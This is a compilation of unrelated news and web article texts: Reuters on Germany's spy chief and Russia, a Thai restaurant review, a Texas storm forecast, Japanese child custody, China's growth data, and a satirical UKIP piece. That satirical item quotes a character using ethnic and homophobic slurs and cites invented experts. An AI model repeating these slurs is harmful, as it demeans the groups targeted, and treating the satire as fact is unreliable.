-BERLIN (Reuters) - Germany’s spy chief has warned that Russia should be seen as a “potential danger” rather than as a partner in building European security and said its big military exercise in summer showed an alarmingly high level of modernization in its armed forces.  Bruno Kahl, head of BND foreign intelligence, made his remarks in a speech at an event hosted by the Hanns Seidel Foundation think-tank in Munich on Monday. An audiofile of the speech was heard by Reuters on Wednesday.  Kahl’s remarks come after U.S. intelligence accusations that Moscow sought to interfere in the U.S. elections in January and followed similar charges by Spanish ministers who say Russian-based groups used social media to promote Catalonia’s independence referendum and destabilize Spain.  Moscow denies interfering in any foreign elections and accuses the West of a campaign to discredit Russia.  Kahl said it was important for Germany, the U.S.-led NATO alliance and the European Union to keep a close eye on Russian military development.  He said Russia’s large-scale Zapad exercise in summer had shown it was “very, very close” to meeting its target of modernizing 70 percent of its armed forces by 2020.  “We must stay alert. Peace in Europe is no longer a guaranteed fact,” he said.  Russia’s goal included “weakening the EU, pushing back the USA, and in particular driving a wedge between the two. That means, instead of a partner for European security, we have in Russia a potential danger,” he said.  Russian President Vladimir Putin was determined to prevent the eastward spread of European values to include Ukraine which, together with Georgia, had no chance of becoming members of NATO as long as Putin’s “world view” prevailed in Moscow,” he said.  The threat to Germany’s security had increased with Moscow’s stationing of short-range missiles in its Kaliningrad enclave, he said.  “The world player Russia is back. It will remain an uncomfortable power, and the West must see that realistically,” he said, though it was important to maintain some dialogue with Moscow despite its assertive actions.
-It can be a challenge to stand out in the very crowded ethnic restaurant market of Lakewood, let alone Cleveland. When it comes to Thai food alone there are three separate options within a single half-mile stretch of Madison Avenue. Open just under a year, Thai Thai has indeed managed not only to stand out but rise like cream to the top of the takeout menu pile for folks tired of begging owners to make their food "Thai spicy."  Thai Thai offers the perfect illustration of how less is more: less in terms of the space, less in terms of the design, and less in terms of the menu. Like a '60s-era cafe racer, this nimble eatery is stripped down to its bare essentials. That's precisely what happens when you hand the keys over to the next generation and let them do their thing.  Kiwi and brother Santi Wongpeng grew up in a restaurant family. Their parents opened and operated the original Thai Hut down the street (now run by different owners) before moving on to the Asian Grille, which they operated for about eight years until the neighborhood no longer provided them with the level of business required to sustain it. At the urging of the kids, the family came out of retirement.  "This restaurant was actually my idea," Kiwi says. "Everybody here does Thai food for Americans. That's not Thai food to me. I said, 'Why don't we do something new, something more authentic, something like street food.'"  Thai Thai is the kind of joint you'll drive right by, a nondescript storefront in a sea of nondescript storefronts. There are just 15 seats in the diminutive space, and a handful of those are simply stools at a wall-facing counter. In place of the customary pages-long laminated menu filled with dozens of dishes that everybody ignores in favor of pad Thai, this spot hands over a tidy one-sheet affixed to a clipboard. It's not just the trimmed-down quantity of offerings that stands out; it's the nature of those dishes.  Devised for the Instagram generation, Thai Thai offers guests a greatest hits-style mix of dishes that are both foreign and familiar, but always memorable. Items are annotated by Kiwi with emoji-era clips like "Try me!" and "Very tasty!" and "Most popular street dish!"  "When we were making the menu, I kind of thought back to my memories of when I was young and living in Thailand," Kiwi explains. "I thought about all the different street foods they served and we kind of mixed them together."  I've never been to Chiang Mai, but thanks to the Wongpengs I've tasted that city's signature sausage, sold at countless food stalls and markets throughout the city. The chubby housemade links ($5.50) are juicy and pungent, with floral kicks of lemongrass. Likewise, gai yang, Thai-style grilled chicken, is as ubiquitous a dish as they come on the streets of Bangkok. At Thai Thai, marinated chicken ($5) is skewered, grilled to order, and served charred and juicy. Pair that dish with some sticky rice ($5) and som tum ($7.95) and you're halfway to earning your Thai citizenship. Som tum, for the uninitiated, is a deceivingly spicy salad composed of shredded green papaya, carrots, green beans and bean sprouts in a tart and blindingly bright citrus dressing.  Thai Thai isn't the only place in town to serve pad krapow ($9.95), sometimes listed on menus as Holy Basil, but it is one of very few that tops the steamed jasmine rice with a runny fried egg, as is customary on the streets of Thailand. The habit-forming minced-meat dish has that textbook layering of sweet, tart and salty, and the standard-issue heat level is "Thai spicy" without the need to sound like a goober when ordering. For those who prefer AARP-level heat, the gentle charms of the coconut-scented massaman curry ($10.95) is like krapow with training wheels.  For those of us, on the other hand, who have no ceiling when it comes to heat, Thai Thai supplies the expected (but annoyingly rare around here) condiment caddy. One, known here simply as "Best," is a bewitching brew of chiles and roasted garlic in a sweet-tart vinegar base. That sauce is engineered to pair with Thai Thai's excellent noodle soups, like the roasted duck ($9.95), a deep, savory broth filled with duck meat, thin noodles and fresh herbs, and the seafood noodle soup ($10.95), which appears hot pink from the addition of homemade fermented bean paste.  Another clue that this is not your grandparent's Thai restaurant: Nearly half of the menu is designated as either V or VG.  "We keep our options open because we know that 40 percent of our customers are vegetarian or vegan," says Kiwi.  I never did end up trying the pad Thai, but I hear it's excellent.
-Reddit Share Email WhatsApp Flip 1K Shares  These simulated radar graphics are meant to convey a relative sense of timing on when storms may be impacting your location. Please keep in mind these are from one model, and that one model probably doesn’t have it all right. Don’t expect the radar to look exactly like what is depicted – in either locations or exact times. While the line or complex of storms depicted here may be fairly accurate, the location/timing/number of discrete storms ahead of it may not be picked up by any model. That’s why the time window for storms will be rather large. Multiple rounds of storms may impact one location.  At 5 AM the HRRR has multiple discrete/semi-discrete storms underway across the Edwards Plateau into the Hill Country and Central Texas. Some of these will likely be severe with large hail, damaging winds, and a threat for a couple of tornadoes. The atmosphere will become more favorable for severe weather as we go into the night, even though it’s nighttime. Those discrete storms near I-35 are concerning – as the enviornment will be supportive of tornadoes. Storms will also be approaching the D/FW Metroplex further north – where some storms may be capable of producing hail and localized gusty winds.  By 9 AM storm coverage and intensity will likely have increased. Discrete supercells capable of producing tornadoes may be underway in Southeast Texas and the Brazos Valley. Further west, several strong to severe storms should be underway in the Hill Country and Central Texas. Heavy rain and some strong storms will be occuring further north in North Texas and the D/FW Metroplex. Damaging winds, hail, and some tornado threat is the concern with the complex/squall line. Discrete storms ahead of the line – or embedded supercells in the complex – may be capable of producing significant tornadoes. Please don’t let the time of morning fool you, the atmosphere will be very supportive of significant severe weather. Whether or not we have one tornado or many tornadoes will depend on how everything sets up.  By noon multiple supercells may be underway in East Texas into Southeast Texas – with a threat of strong tornadoes. A complex or squall line with widespread damaging wind potential along with hail and tornadoes may be moving into eastern North Texas, extending southward into Central Texas. We’ll likely be quite busy in this timeframe – and again, the atmosphere will be capable of significant severe weather. While this one model isn’t showing much going on around Houston at this point, the atmosphere will be primed for big issues if we get any storms going there.  By 3 PM a squall line with large hail, widespread damaging winds, and possible tornadoes looks to be moving into Southeast Arkansas into East Texas. We’ll still have to watch for discrete storms ahead of that line – and further southwest into Southeast Texas.  The next severe weather outlook from the Storm Prediction Center will be issued around 1 AM Sunday. I wouldn’t be surprised if they extended the level four risk northward a bit. Depending on how things look to come together, a small level 5 (high risk) may be issued at some point. Regardless, tomorrow features a significant severe weather risk. You need to have ways of receiving severe weather warnings, and that doesn’t include outdoor warning sirens. We’ve got an article put together here with tips, including great smartphone apps.
-Japan has a child-kidnapping problem. It’s not strangers snatching the kids on the playground or at the bus stop; the problem is that when a Japanese national divorces a foreigner overseas, he or she can abduct their children and bring them back to Japan, and the law ensures that the parent left behind has no rights to see the children or take them back home. The U.S. State Department reports that there have been over 100 such kidnappings since 1994, but according to a source, the number is closer to 400. Within Japan itself, divorce often means that one parent may have little or no access to the child. Japan’s inability to deal with child abduction partly stems from archaic family law in Japan that does not recognize joint custody. It’s a winner-take-all system. The law makes it almost impossible for the other parent to even meet the child, if the Japanese partner objects.  “Once the child is on Japanese soil, if the foreign parent tries to take them back to their home country, we have to treat him or her as a kidnapper—unless the Japanese courts have clearly given them custody,” a police officer from Tokyo told us. “Most of the time, we imagine the Japanese parent is shielding the child from domestic abuse or a poor living environment. Maybe sometimes the foreign parent is actually trying to rescue his or her child from an abusive Japanese household, but we can’t make that judgment. The non-Japanese trying to take back their child is the criminal in most cases. The law is the law.”  After 30 years of international pressure, Japan’s National Diet is expected to endorse the Hague Convention on the Civil Aspects of International Child Abduction this month and approve necessary legislation possibly by the end of the year. At present, 89 countries are members of the Hague abduction convention, which went into effect in 1983. Japan is the only G8 country that is not a member.  If the Diet ratifies the treaty by the end of May, as predicted, it would extend custody rights to non-Japanese parents whose children have been taken to Japan by their former spouses. After ratification, the Japanese government will have to take steps to ensure that the treaty is actually upheld. Under the convention, the parents of abductees will have a legal framework to request their children be returned. However, the convention prohibits returning children to the country of residence if they face grave danger, including domestic violence. Questions remain as to the burden of proof that will be required for Japanese nationals who refuse to return the children, using allegations of “grave danger.”  The U.S. State Department has been conducting surveys on the number of abducted American children since 1994. The numbers are difficult to assess because not all parents report abductions to the authorities. Victims of child abduction are hard to track officially, because Japan and many countries do not consider it a vital statistic. Also, child abduction by a parent is not considered a crime in Japan once the family court grants the sole custody to one parent. However, some researchers have been keeping track of the numbers by gathering information from town-hall meetings and correspondence with the families of the abducted. According to one knowledgeable source, between 1994 and 2012, there were 278 cases involving 386 American children taken back to Japan.  “There are no official numbers,” explained Yuichi Mayama, a member of the Diet. “Even we lawmakers, when we tried to ask the government for the exact number of cases, got no real answer. The answer we got was that probably after the Hague Convention comes into effect, it may be possible to track the numbers.”  “Simply because a marriage breaks down, that does not necessarily imply that the children should lose one of their parental relations,” said John Gomez, chairman of the recently founded nonprofit organization Kizuna Child-Parent Reunion. He notes that many pediatricians and child-care experts assert that children thrive when they have relationships with both of their parents, even after the marriage is over. But there is a concept in Japanese society that after a divorce, it is natural for one parent to give up the right to raise the child. Article 766 of Japan’s Civil Code states that a family court should decide who will have custody over a child. The extent of visitation and other means of contact between the child and their parents are also made by the court. There is no joint custody in Japan.  Experts estimate that each year close to 150,000 divorced parents in Japan lose contact with their children. Some choose to do this; most have no say in the matter. While it’s obvious that international divorce in Japan is often an ugly affair that splits children from their parents, it should also be noted that domestic divorce cases are often as bad.  Takao Tanase, a lawyer who is a law professor at Chuo University in Tokyo, notes that Japan does have a criminal clause declaring child abduction a crime, and cases of domestic abduction are not unknown. “However, the first abduction is usually not treated as a crime,” he said. “After a parental dispute, once the de facto custodian is designated by the Japanese family court, the left-behind Japanese parent can be arrested by the police if he or she tries to take back the child from the custodian parent.”  In September 2009, Christopher Savoie, an American-born, naturalized Japanese father, was arrested for allegedly abducting his son and daughter from his ex-wife, who had taken them to Japan illegally. Noriko Savoie had been granted custody on the condition that she permanently reside in Tennessee, but she violated the court order when she took the children to her native Japan. A month later, Christopher Savoie was thrown in jail in Japan on child-abduction charges when he tried to take the children back to the U.S. The case brought global attention to Japan’s failure to endorse the Hague Convention.  When Japanese Prime Minister Shinzo Abe visited President Obama in February, he reportedly promised that Japan would join the convention on child abductions. "From the perspective of children, there is an increasing number of international marriages and divorces,” Abe told reporters. “We believe it is important to have international rules."  Joining the Hague Convention will not immediately affect divorced Japanese couples, but it may play a significant role in the transformation of Japanese society and family law.  “We recognize that even if the Hague Convention is ratified, we will have to make many changes in our domestic laws to be consistent” with the convention, councilor Mayama said in a press conference held last week. “At least the Japanese government recognizes these problems. We Japanese have a very traditional view of the family system. It may take time for these changes. We are working on the necessary legislation. Japan will try to make a change in the domestic laws by March of 2014.”  When international marriages break up, Japanese courts almost never grant custody to foreign parents, especially fathers. However, Japanese parents can also come out on the wrong side of the law.  Mika Chiba, 42, works as an accountant and she lost custody of her two sons. Shortly thereafter, her husband took their children to Manchester, and she followed him there and took him to court.  The U.K. court, citing the Hague Convention, ruled in April 2011 that Chiba’s husband had illegally abducted their two children, and therefore the family should return to Japan to decide the custody of the children in a Japanese court. The family arrived in Japan two months later, and the custody battle is currently being fought. But because there is no joint custody in Japan, and because of her nine-month absence when she was hospitalized, the children have been placed with their father, and Chiba lost visitation rights after she quarreled with her husband in July 2011. She hasn't spent time alone with her children since then.  “I think the Japanese laws should be changed to discourage abduction and allow joint custody,” Chiba said. “If both parents could look after their kids after divorce, then there would be less abduction or maybe none. I think this is the problem in the Japanese law.”  In early February, we followed a French-speaking national, who asked not to be identified, when he visited Japan hoping to meet with his daughter. He does not have custody of his child, nor did the Japanese courts grant him visitation rights.  He went to her home, but was told by his former mother-in-law that she wasn’t there. He then tried to visit her at her school the next day. He asked the school’s principal if he could give her a waterproof camera he had bought for his daughter as a birthday present. “Sir, in Japan, the child has no right to choose if she can see her [noncustodial] parent, after a divorce,” the principal said. “If I handed this present to your daughter without the consent of your ex-wife, I could be in trouble” with the police. He waited for seven hours near the school before going back to the airport and was not able to speak with his daughter or even catch a glimpse of her.  “I don’t want to fight the Japanese authorities, because it will not help me see my daughter. I cannot win their confidence if I do the bad things,” he said. “I hope my daughter will not forget her father and, when she will become an adult, she will try to find me, because she will look for her other cultural roots.”  He hopes that the ratification of the Hague Convention may spur changes in domestic law that will allow him to have some role in raising his daughter. But his hope may be misplaced.  “I think that it will be difficult to convince the hardheaded lawmakers” to fully honor the convention,” said Tsuyoshi Shiina, another Diet member. “They believe it is a matter of ‘cultural conflict.’”  Prof. Takao Tanase also believes that Japan will ratify the convention, but not fully implement it. “Japan fundamentally supports current family-law practices. That’s why there is a strong discrepancy between the domestic law and the international standards, and that will impact negatively upon the implementation of the convention in good faith,” he said. “If the Hague Convention is ratified, and foreign nations recognize that Japan really does not comply with it, there should be a lot of pressure and criticism from the international community. I am hoping that it is the international pressure that is going to push Japan into really implementing the convention.”  It seems certain that Japan will finally sign the Hague Convention, but the implementation of it may take a very long time. Parents waiting in legal limbo to be with their children hope that it will not take another 30 years.  Editor's note: After publication of this article, Mrs. Mika Chiba requested that her children's names and images, as well as some details of her personal history, be removed due to safety concerns and The Daily Beast has updated the original version of this text.
-Story highlights Historically, October Surprises have had little effect on the outcome of presidential elections  Julian Zelizer: But this year the October Surprise could have a more dramatic effect, in part thanks to technology  (CNN) As September comes to an end, presidential-election observers are beginning to wonder if there will be an October Surprise. In a campaign where the unexpected has become normalized, both parties -- but particularly Democrats -- suspect that the next month could bring a shocking revelation.  The notion of an October Surprise gained widespread popularity in the 1980 election, when Ronald Reagan's campaign feared that President Jimmy Carter would announce a resolution to the Iran hostage crisis only weeks or days before Americans went to vote. While Carter was in fact working on an end to the crisis, irrespective of the election, the Iranians did not release the hostages until after Reagan's inauguration.  On the rare occasions when October Surprises have happened, they have not really impacted the outcome of the election. In 1956, Egyptian President Gamal Abdel Nassar nationalized the Suez Canal and the Soviets invaded Hungary shortly before the election. The crises, and Eisenhower's responses, were not determining factors in the president's landslide victory against Adlai Stevenson. He was well on his way to victory before either crisis broke.  In October 1964, one of President Lyndon Johnson's closest and most trusted aides, Walter Jenkins, was arrested in a Washington YMCA for engaging in sexual acts with a man. Though Johnson feared the arrest would hurt his campaign, Johnson went on to enjoy a landslide victory against Republican Barry Goldwater.  The most dramatic incarnation of a political surprise took place in 1968. On October 31, Johnson announced that he would undertake an immediate bombing halt against the North Vietnamese in the hope of reaching a peace agreement. The announcement sent shudders up the spine of Republican Richard Nixon, whose campaign had promised that as president he would bring peace. Some people in his campaign were so worried they attempted to scuttle a settlement by promising the South Vietnamese a better deal if Nixon became president. Nixon, though, went on to win.  Read More
-The latest data on the Chinese economy released on Saturday show exports down 8% year-on-year. By any measure you pick, China’s expansion is losing steam.  But working out how much it’s slowing by is extremely hard to do.  Based on a series of different indicators, the economy is currently growing between about 4% and 7% a year. That’s not exactly a small gap, and the truth matters enormously for China, Asia and the rest of the world. The country has a ballooning debt issue that will be much harder to deal with if growth is slow.  Bank of America Merrill Lynch global economist Gustavo Reis and his team sent out a note over the weekend discussing just how much Chinese growth is slowing by a series of different measures.  One of the measures they have looked at is an analyst favourite: The Li Keqiang Index (LKI). Back in 2007, Li reportedly told a US ambassador that he personally looked at the economy with an index made up of three parts: Electricity production, rail traffic, and lending.  Here’s how those three look:  Loans are rising, but electricity production is up by less than 5% year-on-year, and rail traffic is shrinking at rates last seen during the depths of the 2008-09 financial crisis.  So it’s fair to say that it’s not a pretty picture as far as China’s Premier’s favourite economic index is concerned. Here’s how it looks in comparison to GDP:  The BAI (broad activity index) brought together by BAML economists tracks GDP much more closely — it’s a composite of 20 different indicators.  But yet another indicator, the LEAP index, which brings together “power output, crude steel output, cement output, auto sales, housing starts, railway cargo traffic and medium- to long-term loans,” suggests Chinese GDP is even more overblown than the Li Keqiang Index does.  So it’s something of a mystery.  There seem to be at least three possibilities:  The government is lying. This doesn’t seem difficult to imagine. The credibility of the Chinese government is attached to both its ability to provide growth and its ability to exert a high level of control over the economy. Slower growth isn’t something it would like to admit.  This doesn’t seem difficult to imagine. The credibility of the Chinese government is attached to both its ability to provide growth and its ability to exert a high level of control over the economy. Slower growth isn’t something it would like to admit. China’s GDP is transitioning away from industry. The BAI index that is closest to GDP finds all of the weakness is in manufacturing, while those that pay more attention to industry, like the LKI and LEAP index are lower. If the Chinese economy is shifting more towards services, things like power production will be less accurate as proxies for GDP.  The BAI index that is closest to GDP finds all of the weakness is in manufacturing, while those that pay more attention to industry, like the LKI and LEAP index are lower. If the Chinese economy is shifting more towards services, things like power production will be less accurate as proxies for GDP. It’s too complicated to capture like this. GDP as a way of calculating the economy is rough at best, and it’s possible that none of these indices capture what’s really happening in the world’s biggest developing economy.  The truth of the figures matter more to the rest of the world than they ever have before. The Chinese economy is still locked out of global financial channels in some ways, but the International Monetary Fund (IMF) said back in 2011 that it’s now the main source of real economic spillovers to the rest of the world.  In short, China can’t sneeze without the rest of the world catching a cold.  Business Insider Emails & Alerts Site highlights each day to your inbox. Email Address Join  Follow Business Insider Australia on Facebook, Twitter, LinkedIn, and Instagram.
-After 118 days of unauthorised stay and a bitter stand-off with the government, former union Minister Ajit Singh on Friday finally vacated the 12 Tughlaq Road bungalow here. Singh, who had resisted eviction and demanded that the government accommodation be converted into a memorial for his father former prime minister Charan Singh, handed over the bungalow to the Central Public Works Department (CPWD), according to a senior Urban Development Ministry. The official said though Singh vacated the bungalow, he is yet to clear the penal rent for his unauthorised stay of 118 days.  After 118 days of unauthorised stay and a bitter stand-off with the government, former union Minister Ajit Singh on Friday finally vacated the 12 Tughlaq Road bungalow here.  Singh, who had resisted eviction and demanded that the government accommodation be converted into a memorial for his father former prime minister Charan Singh, handed over the bungalow to the Central Public Works Department (CPWD), according to a senior Urban Development Ministry.  The official said though Singh vacated the bungalow, he is yet to clear the penal rent for his unauthorised stay of 118 days.  The penalty for overstaying is 55 times more than the monthly rent of Rs 3,500 per month.  According to the official, it comes to over Rs 7 lakh now as the penalty will be calculated from June 27.  With the handing over the Type VIII bungalow at Tughlaq Road, the tussle over the sprawling property at Lutyens zone between the government and the RLD leader has come to an end.  Singh, who lost the elections, was served an eviction notice in June. Civic bodies later disconnected water and power supply to the bungalow.  Singh along with RLD supporters, who staged protests in the city and in Ghaziabd, demanded that the bungalow be converted into a memorial to Charan Singh.  The government, however, rejected the demand, saying the Union Cabinet in 2000 had “banned” conversion of Lutyens’ bungalows into memorials.  Ajit Singh accused the BJP government of vendetta but Union Urban Development Minister Venkaiah Naidu said the authorities were bound by rules.  As Congress too supported the demand, Naidu retorted by asking why the RLD leader or Congress had not set up the memorial when they were in government.  Ajit Singh’s supporters clashed with police in Ghaziabd on September 18 over the move to evict him from government residence. On September 23, police detained at least 250 protesters to prevent them from gathering at the bungalow for a planned meeting demanding its conversion into a memorial.  –PTI
-JapanesePod101.com is a language course, podcast and accompanying website that offers lessons in Japanese.  It’s a “fremium” site meaning you can sign up to the site for free and access lost of resources on there, including the podcast. For the more advanced features they have a subscription service starting at just $4 a month, with a little bit of searching you can regularly find promotions and discounts too.  As far as features go, there is lots on there. The site is arranged by level from Beginner through to Advanced with each level containing 50 or so lessons. Each lesson has a podcast, a review track, dialog and downloadable PDFs with lesson notes and transcriptions.  If you sign up to Premium (I’ve only ever used basic so far) then there are lots of other features too including flash cards, slideshows, word banks and dictionaries.  You can listen to the podcasts through the site itself or download them to listen to them later. To make it even easier, if you download the “Innovative Language” app (iOS and Andriod), you can download whole sections at a time to your phone or tablet and then listen to them at your leisure.
-Australia signs free trade agreement with South Korea in Seoul  Updated  Australia and South Korea have formally signed off on a free trade agreement during a meeting in Seoul.  The Australia Korea Free Trade Agreement (KAFTA), which was secured late last year, will see tariffs on primary products that range from about 15 per cent to more than 500 per cent removed.  The foreign investment review threshold will also be lifted to more than $1 billion.  In his announcement of the formal agreement, Prime Minister Tony Abbott said the free trade agreement was able to be reached because of the trust between the two countries.  "Australia and South Korea are important and natural partners," he said.  "We are democracies, we are G20 countries ... we are countries that would much rather find friends than fights," he said.  "We are able to negotiate this agreement because Australia and South Korea trust each other."  Mr Abbott hailed the agreement as a "historic moment".  "Economically, there is huge untapped potential in the relationship between the two countries," he said.  "The free trade agreement that we signed today is the first free trade agreement of your government, it is the first free trade agreement of my government and I believe it is one that we can both be very proud of."  "I am confident ... that over time, Australia can help to deliver food security, resource security and energy security to the people of Korea."  The deal with Korea is the second free trade agreement secured for Australia in two days, after Tony Abbott met with his Japanese counterpart, Shinzo Abe, in Tokyo yesterday.  That agreement will see advantages for beef and other agricultural products, with fruit and vegetables, seafood, cheese, sugar and wine among the winners.  However, earlier today, Government MP George Christensen hit out at the deal, questioning the value of an agreement that does not have a "significant benefit for Australian agriculture".  Topics: international-aid-and-trade, trade, business-economics-and-finance, federal-government, foreign-affairs, government-and-politics, korea-republic-of, australia, japan, asia  First posted
-A judge ruled a lawsuit against an IDNYC policy will be heard in Staten Island after the city tried to get it moved to Manhattan. View Full Caption DNAinfo/Trevor Kapp  STATEN ISLAND — The Forgotten Borough might as well be a foreign land for some city officials.  A Staten Island judge was asked to move a court hearing to Manhattan because city employees found it too inconvenient to get on the ferry.  The hearing involved a lawsuit filed by borough-based Assemblywoman Nicole Malliotakis and Assemblyman Ron Castorina Jr. in an attempt to stop the city from deleting data gathered during IDNYC applications.  The judge denied the request.  "The City's aggressive attempt to have this case moved from Staten Island to Manhattan is disappointing," said Malliotakis.  "We often say we are the forgotten borough under this administration and it’s because of actions like this."  City lawyers asked Tuesday to move the case to Manhattan court because it would be hard for officials to get to St. George for hearings. Judge Philip Minardo refused, Castorina said.  Mayor Bill de Blasio previously said he would purge the documents gathered during IDNYC applications rather than hand them over to the federal government.  His promise came after the election of Donald Trump, who has talked about deporting 2 to 3 million undocumented immigrants.  After the lawsuit was filed, the city announced it will no longer save any documents filed by applicants for municipal IDs as of January.  De Blasio launched the IDNYC in 2015 to give identification cards to residents including undocumented immigrants, the formerly incarcerated and transgender individuals for who getting regular ID is difficult.  The program has had more than 900,000 applications since it launched. It was crafted with a "destroy in case of Tea Party" clause which allows date to be erased.  The Republican lawmakers said destroying the data could create a security risk by making it impossible to trace people who obtained the cards fraudulently and harder to investigate if they used the ID to commit a crime.
-Adi had his say after Porter's words, he has been adapting well to the team, and seems happy and his play shows it. This is his first time in the US, a trip that he found out he was doing a week before. Adi is a very pleasant young man, he knows he has not just scored two goals and an assist but he is stealing the town’s hearts. Last Sunday night, had a great control in the box with his back to the goal, and instead of turning and shooting he saw Johnson in a better position for a shot and the rest was one of the candidates for MLS best goal of the week. Some quality memories from of that night, and actually the one to keep from Sunday versus the White Caps.
-Mr. Bewkes has called the idea “TV Everywhere,” but others in the industry refer to it by other names: “authentication,” “entitlement,” and Comcast has called its coming service “OnDemand Online.”  “If you look at TV viewing, it’s up, even though the questions and stories are all about the role of video games and Internet usage and other uses of time,” Mr. Bewkes said.  The first test of the new system, which will authenticate cable subscribers online and make available programs on the Web for no additional charge, will be announced Wednesday, between Comcast and Time Warner. The trial will involve about 5,000 Comcast subscribers, and television shows from the Time Warner networks TNT and TBS.  “We’re talking about taking the TV industry to a new era,” Mr. Bewkes said.  Because of antitrust concerns, the companies that create cable programming are reluctant to come together and agree on a solution. A few weeks ago, newspaper executives held a secretive meeting in Rosemont, Ill., to discuss ways to charge for news online — a gathering that critics said flouted antitrust law.  The electronic media chiefs, including Mr. Bewkes, Jeff Zucker of NBC Universal and Philippe P. Dauman of Viacom, among others, have been more careful, so as to avoid being accused of collusion: much of the discussions have been on the telephone and in private, one-on-one chats during industry events. Pricing is rarely, if ever, discussed, according to executives involved in the discussions.  “We can’t get together and talk about business terms, but we can get together to work on setting open technology standards,” said Mr. Dauman, the chief executive at Viacom, which owns cable networks like MTV, VH1, Comedy Central and BET.  But the problem is that if each goes in different directions — some offering more shows free, others holding them back only for cable subscribers — then the economics of the industry could crumble.  Photo  “It’s the classic prisoner’s dilemma,” said Mr. Burke, referring the famous problem in game theory. “If there’s a vacuum, and some start to inch in to the water hoping others will hold back, the whole industry could be affected.”  Advertisement Continue reading the main story  Unlike broadcast television, which relies solely on advertising, cable networks have another revenue stream: fees paid by cable operators. Comcast, for example, pays Disney roughly $1 billion a year to carry ESPN. This is why Hulu.com, the popular site owned by News Corporation and NBC, is mainly a destination for broadcast shows like “The Office” and “The Simpsons,” and not cable programs.  In some ways, the plan of Mr. Bewkes could be perceived as a direct shot at Hulu, which does offer some cable shows on a delayed basis, after some time has passed since the show was seen on television.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  “That stream is so important to every entertainment company that everybody is looking at that and saying, if we are not careful we could start to harm that model,” Mr. Burke said.  There is no sign of that happening anytime soon, but a recent poll by the Sanford C. Bernstein research group found that about 35 percent of people who watch videos online might cut their cable subscription within five years.  “We don’t think that it’s a problem now, but we do feel a sense of urgency,” Mr. Burke said.  And Wall Street is watching closely. The movement of video, whether it be television shows or movies, to the Internet, “is perhaps the single largest investment controversy in the media sector,” Michael Nathanson, an analyst at Sanford C. Bernstein, wrote in a recent report.  Another analyst, Laura Martin of Soleil Media-Metrics, has said that $300 billion of market value — her calculation of the current worth of all the companies involved in television production and distribution — is at stake. She said the risk is that television’s economics could be overturned, just it has for newspapers and music.  One holdout among the major chief executives appears to be Robert A. Iger of the Walt Disney Company. At an industry conference this year he warned that gambits like TV Everywhere could be “anticonsumer and antitechnology” because such a plan would place cable programming behind a pay wall.  Mr. Iger is more interested in finding new ways to get additional fees for online content, a puzzle that has bewildered the newspaper industry.  Advertisement Continue reading the main story  Last month, Comcast agreed to pay Disney a monthly fee to offer its Internet subscribers ESPN 360, the sports network’s online channel. One analyst, Richard Greenfield of Pali Research, has called that deal “a watershed event for content owners in a broadband world, albeit that event occurred with little to no fanfare.”  Meanwhile, some executives say that TV Everywhere is a simple concept, but that it has major technological hurdles. At one recent meeting of cable executives, a whiteboard displayed a list of nearly 80 potential problems with the service.  “The key is you have to be careful to protect the security” so hackers cannot get in, said Mr. Burke of Comcast.  Mr. Dauman of Viacom said: “It’s not going to be a light switch moment. It’s going to be an evolution.”
-UKIP supporters can only flourish in modern society by breaking out of their closed communities of aging bigots, experts believe.  Researchers have found that the ghettoised communities which UKIP voters live in directly lead to their deep-seated hatred of ordinary British life and extremist views about Gary Lineker being a traitor.  Dr Susan Traherne said: “By not integrating, Ukippers come to believe in worryingly irrational ideas like everyone in Turkey planning to live here and it being illegal to own a golliwog.  “It’s vital they are made to talk with normal people to show them it’s actually a bit mental to carry on like Enoch Powell because of the occasional Polski Sklep.  “But sadly they prefer to remain shut indoors, dangerously radicalising each other on Facebook, plotting the destruction of everyone under 40’s way of life.”  UKIP member Roy Hobbs said: “I’m not weird, I just don’t want to be ruled by Herr Merkel’s Brussels bumboys and think we should nuke Gibraltar to stop the dagoes getting it.  “Everyone thinks that. It’s normal.”
-Submitted by Daniel Mitchell via The Foundation for Economic Education,  A few years ago, I put together an amusing collection of stories comparing truly bizarre examples of political correctness and bureaucratic idiocy in the United States and United Kingdom.  I was especially impressed (in a you-must-be-joking fashion) that a British job placement office got in trouble for discrimination because they sought “reliable” and “hard-working” applicants. Sounds impossible to believe, but consider the fact that the EEOC bureaucracy in the U.S. went after a trucking company because it didn’t want to employ drunk drivers.  And I’ve shared jaw-dropping reports of anti-gun political correctness in American schools, as well as a proposal to ban skinny models in Britain.  Let’s expand on this collection of horror stories.  Reason reports that some bureaucrats in New York City think that it is sexual harassment for a professor to base grades in part on effort and classroom behavior.  A professor at the City University of New York’s Brooklyn College was ordered to make changes to his syllabus because it amounted to sexual harassment. The professor, David Seidemann has refused to comply, and for good reason. …a university administrator expressed three grievances about the syllabus. First, and most quizzically, the grading portion of the syllabus suggests sexual harassment. It reads, “Class deportment, effort etc……. 10% (applied only to select students when appropriate).” ...Seidemann told me in an email that his department chair said “the 10% section could be construed as a prelude to sexual harassment,” and had to be changed at once. This order apparently came from the Director of Diversity Investigations and Title IX Enforcement. In the course of Seidemann’s interactions with the director, he realized something quite stunning: there was no record of anyone actually complaining about the syllabus. The university had apparently launched this investigation on its own. ...The professor refused to meet with the Director of Diversity Investigations, preferring to talk via email so that the conversation could be documented. This eventually caused the director to abandon the investigation: the matter is now officially closed, according to Seidemann. The professor is pleased with the result, but little else.  If you read the entire story, it appears that the bureaucrats decided that “effort” could be interpreted as an invitation for female students to trade sex for higher grades. At least I think that’s the implication.  In which case, there must have been rampant sexual harassment when I was young because our report cards in elementary school always included our teachers’ assessment of our “effort.” And all the way through college, I periodically had classes in which grades were based in part on “participation.”  I guess I was so young and naive that I didn’t realize my teachers and professors were inviting me to offer sex for grades (my grades often were low enough that it was probably best I didn’t run the risk of having them go even lower).  More seriously, I’m glad the professor stood up against the absurd accusations put forth by the diversity bureaucrats. I especially like that he insisted on having everything occur via email so he couldn’t be victimized by the selective memory of some pencil pushers who probably try to justify their comfortable sinecures by claiming an occasional scalp.  Bureaucrats in Knoxville, Tennessee, also seem to be amazingly skilled at seeing sexual harassment where it doesn’t exist.  The student, Keaton Wahlbon, had to take a geology quiz featuring the following question: “What is your lab instructor’s name? (if you don’t remember, make something good up).” Wahlbon followed the instructions: he didn’t remember, so wrote down the first generic girl name that came to mind—Sarah Jackson. Unbeknowst to Wahlbon, Sarah 